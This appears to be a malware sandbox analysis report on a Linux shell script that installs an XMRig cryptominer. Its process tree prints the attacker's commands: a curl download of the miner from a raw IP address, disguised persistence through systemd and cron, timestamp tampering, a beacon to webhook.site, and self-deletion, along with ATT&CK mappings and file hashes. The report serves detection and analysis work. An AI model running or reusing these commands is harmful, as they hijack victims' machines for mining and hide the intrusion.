Overview

overview

10

Static

static

1

sex.sh

ubuntu-18.04-amd64

10

sex.sh

debian-9-armhf

10

sex.sh

debian-9-mips

10

sex.sh

debian-9-mipsel

10

Resubmissions

08/05/2026, 17:40

260508-v8t3kaez3r10

08/05/2026, 17:39

260508-v79fvsbt9z10

08/05/2026, 17:38

260508-v75snsez2r1

08/05/2026, 17:38

260508-v7zawsey9r1

Analysis

  • max time kernel
    35s
  • max time network
    97s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20250619-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    08/05/2026, 17:39

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    sex.sh
  • Size 5KB
  • Sample260508-v79fvsbt9z
  • SHA256 8f5c0cbcb775a704015322284dbcdbf2252f3a6688a95eef7a0b7a1b1a685d0d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionxmrigminerpersistenceprivilege_escalation

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 2 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Modifies Bash startup script 2 TTPs 2 IoCs
    persistence
  • Reads CPU attributes 1 TTPs 4 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 6 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sex.sh
    /tmp/sex.sh
    1⤵
    • Creates/modifies environment variables
    • Modifies systemd
    • Modifies Bash startup script
    • Writes file to tmp directory
    PID:711
    • /bin/systemctl
      systemctl is-active --quiet dbus-system-monitor.service
      2⤵
      • Enumerates kernel/hardware configuration
      • Reads runtime system information
      PID:715
    • /bin/systemctl
      systemctl stop crond
      2⤵
      • Enumerates kernel/hardware configuration
      • Reads runtime system information
      PID:723
    • /usr/bin/crontab
      crontab -r
      2⤵
        PID:726
      • /bin/rm
        rm -rf "/etc/cron.d/*"
        2⤵
          PID:729
        • /usr/bin/which
          which podman
          2⤵
            PID:733
          • /usr/bin/which
            which docker
            2⤵
              PID:737
            • /bin/ps
              ps -eo "pid,ppid,cmd,%cpu" "--sort=-%cpu"
              2⤵
              • Reads CPU attributes
              • Reads runtime system information
              PID:739
            • /usr/bin/awk
              awk " NR>1 && \$4 > 60 && \$3 !~ /(httpd|nginx|mysqld|php-fpm|sshd|node|redis|systemd|dbus-daemon-service)/ { print \$1 }"
              2⤵
                PID:740
              • /usr/bin/xargs
                xargs -r kill -9
                2⤵
                  PID:741
                  • /usr/local/sbin/kill
                    kill -9 738 740
                    3⤵
                      PID:742
                    • /usr/local/bin/kill
                      kill -9 738 740
                      3⤵
                        PID:742
                      • /usr/sbin/kill
                        kill -9 738 740
                        3⤵
                          PID:742
                        • /usr/bin/kill
                          kill -9 738 740
                          3⤵
                            PID:742
                          • /sbin/kill
                            kill -9 738 740
                            3⤵
                              PID:742
                            • /bin/kill
                              kill -9 738 740
                              3⤵
                              • Reads CPU attributes
                              PID:742
                          • /usr/bin/pkill
                            pkill -9 -f xfsd
                            2⤵
                            • Reads CPU attributes
                            • Reads runtime system information
                            PID:745
                          • /usr/bin/pkill
                            pkill -9 -f kworkerds
                            2⤵
                            • Reads CPU attributes
                            • Reads runtime system information
                            PID:746
                          • /bin/mkdir
                            mkdir -p /usr/share/zoneinfo/.dbus/.k
                            2⤵
                              PID:749
                            • /bin/uname
                              uname -m
                              2⤵
                                PID:751
                              • /bin/ls
                                ls "/lib/ld-musl*"
                                2⤵
                                • Reads runtime system information
                                PID:752
                              • /usr/bin/curl
                                curl -sSL -k -o /usr/share/zoneinfo/.dbus/dbus-daemon-service http://103.213.248.200/xmrig_g
                                2⤵
                                  PID:753
                                • /bin/chmod
                                  chmod +x /usr/share/zoneinfo/.dbus/dbus-daemon-service
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:831
                                • /bin/cat
                                  cat
                                  2⤵
                                    PID:832
                                  • /bin/systemctl
                                    systemctl daemon-reload
                                    2⤵
                                    • Enumerates kernel/hardware configuration
                                    PID:833
                                  • /bin/systemctl
                                    systemctl enable dbus-system-monitor.service
                                    2⤵
                                    • Enumerates kernel/hardware configuration
                                    • Reads runtime system information
                                    PID:846
                                  • /bin/systemctl
                                    systemctl restart dbus-system-monitor.service
                                    2⤵
                                    • Enumerates kernel/hardware configuration
                                    • Reads runtime system information
                                    PID:859
                                  • /bin/systemctl
                                    systemctl start crond
                                    2⤵
                                    • Enumerates kernel/hardware configuration
                                    • Reads runtime system information
                                    PID:888
                                  • /usr/bin/crontab
                                    crontab -
                                    2⤵
                                    • Creates/modifies Cron job
                                    PID:890
                                  • /usr/bin/crontab
                                    crontab -l
                                    2⤵
                                    • Reads runtime system information
                                    PID:891
                                  • /bin/grep
                                    grep -v dbus-daemon-service
                                    2⤵
                                      PID:892
                                    • /bin/grep
                                      grep -q release-upgrade /root/.bashrc
                                      2⤵
                                        PID:893
                                      • /usr/bin/stat
                                        stat -c "%y" /etc/passwd
                                        2⤵
                                          PID:894
                                        • /bin/mkdir
                                          mkdir -p /etc/update-manager/
                                          2⤵
                                            PID:895
                                          • /usr/bin/touch
                                            touch -d "2023-10-17 13:36:02.916240477 +0100" /root/.bashrc
                                            2⤵
                                            • Creates/modifies environment variables
                                            • Modifies Bash startup script
                                            PID:896
                                          • /usr/bin/curl
                                            curl -s -k -X POST -d "ok=1" https://webhook.site/f8aba51a-1657-4c9a-b1eb-f82231d70bab
                                            2⤵
                                              PID:897
                                            • /bin/rm
                                              rm -f /tmp/sex.sh
                                              2⤵
                                                PID:899

                                            Network

                                                  MITRE ATT&CK Enterprise v16

                                                  Reconnaissance

                                                  Resource Development

                                                  Initial Access

                                                  Execution

                                                  Scheduled Task/Job

                                                  1
                                                  T1053

                                                  Cron

                                                  1
                                                  T1053.003

                                                  Persistence

                                                  Boot or Logon Autostart Execution

                                                  2
                                                  T1547

                                                  XDG Autostart Entries

                                                  1
                                                  T1547.013

                                                  Create or Modify System Process

                                                  1
                                                  T1543

                                                  Systemd Service

                                                  1
                                                  T1543.002

                                                  Event Triggered Execution

                                                  1
                                                  T1546

                                                  Unix Shell Configuration Modification

                                                  1
                                                  T1546.004

                                                  Hijack Execution Flow

                                                  1
                                                  T1574

                                                  Path Interception by PATH Environment Variable

                                                  1
                                                  T1574.007

                                                  Scheduled Task/Job

                                                  1
                                                  T1053

                                                  Cron

                                                  1
                                                  T1053.003

                                                  Privilege Escalation

                                                  Boot or Logon Autostart Execution

                                                  2
                                                  T1547

                                                  XDG Autostart Entries

                                                  1
                                                  T1547.013

                                                  Create or Modify System Process

                                                  1
                                                  T1543

                                                  Systemd Service

                                                  1
                                                  T1543.002

                                                  Event Triggered Execution

                                                  1
                                                  T1546

                                                  Unix Shell Configuration Modification

                                                  1
                                                  T1546.004

                                                  Hijack Execution Flow

                                                  1
                                                  T1574

                                                  Path Interception by PATH Environment Variable

                                                  1
                                                  T1574.007

                                                  Scheduled Task/Job

                                                  1
                                                  T1053

                                                  Cron

                                                  1
                                                  T1053.003

                                                  Defense Evasion

                                                  File and Directory Permissions Modification

                                                  1
                                                  T1222

                                                  Linux and Mac File and Directory Permissions Modification

                                                  1
                                                  T1222.002

                                                  Hijack Execution Flow

                                                  1
                                                  T1574

                                                  Path Interception by PATH Environment Variable

                                                  1
                                                  T1574.007

                                                  Credential Access

                                                  Discovery

                                                  System Information Discovery

                                                  2
                                                  T1082

                                                  Lateral Movement

                                                  Collection

                                                  Command and Control

                                                  Web Service

                                                  1
                                                  T1102

                                                  Exfiltration

                                                  Impact

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  release-upgrade
                                                  • Path /etc/update-manager/release-upgrade
                                                  • Size 27B
                                                  • SHA256 db05de79e234af2e0437d98dfb31108293f8169f569141d92a1e78b462d847e4
                                                  • MD5 SHA1 SHA512
                                                  Submit Download

                                                  sh-thd.3P1vY0
                                                  • Path /tmp/sh-thd.3P1vY0
                                                  • Size 1KB
                                                  • SHA256 75577a3ffcba5a566f2076fffe0ca4fa101acbe2c703c7a0c6d5a6261eecdb9a
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download

                                                  config.env
                                                  • Path /usr/share/zoneinfo/.dbus/config.env
                                                  • Size 103B
                                                  • SHA256 72a8ba61ce79889244213267a91f54d35301ad671cbd8b6d2ad89dcb2b8dce15
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download

                                                  dbus-daemon-service
                                                  • Path /usr/share/zoneinfo/.dbus/dbus-daemon-service
                                                  • Size 16.1MB
                                                  • SHA256 75c7b50bd0870b47e05521d5be9fed4dda008e08836894b3f3c2b57bdb32e6cd
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                  Submit Download

                                                  tmp.k0lH40
                                                  • Path /var/spool/cron/crontabs/tmp.k0lH40
                                                  • Size 239B
                                                  • SHA256 aa7acc0b9f77725c3c699706916e49f213320406b7b90e17e5387e56ed38bc81
                                                  • MD5 SHA1 SHA512 TLSH
                                                  Submit Download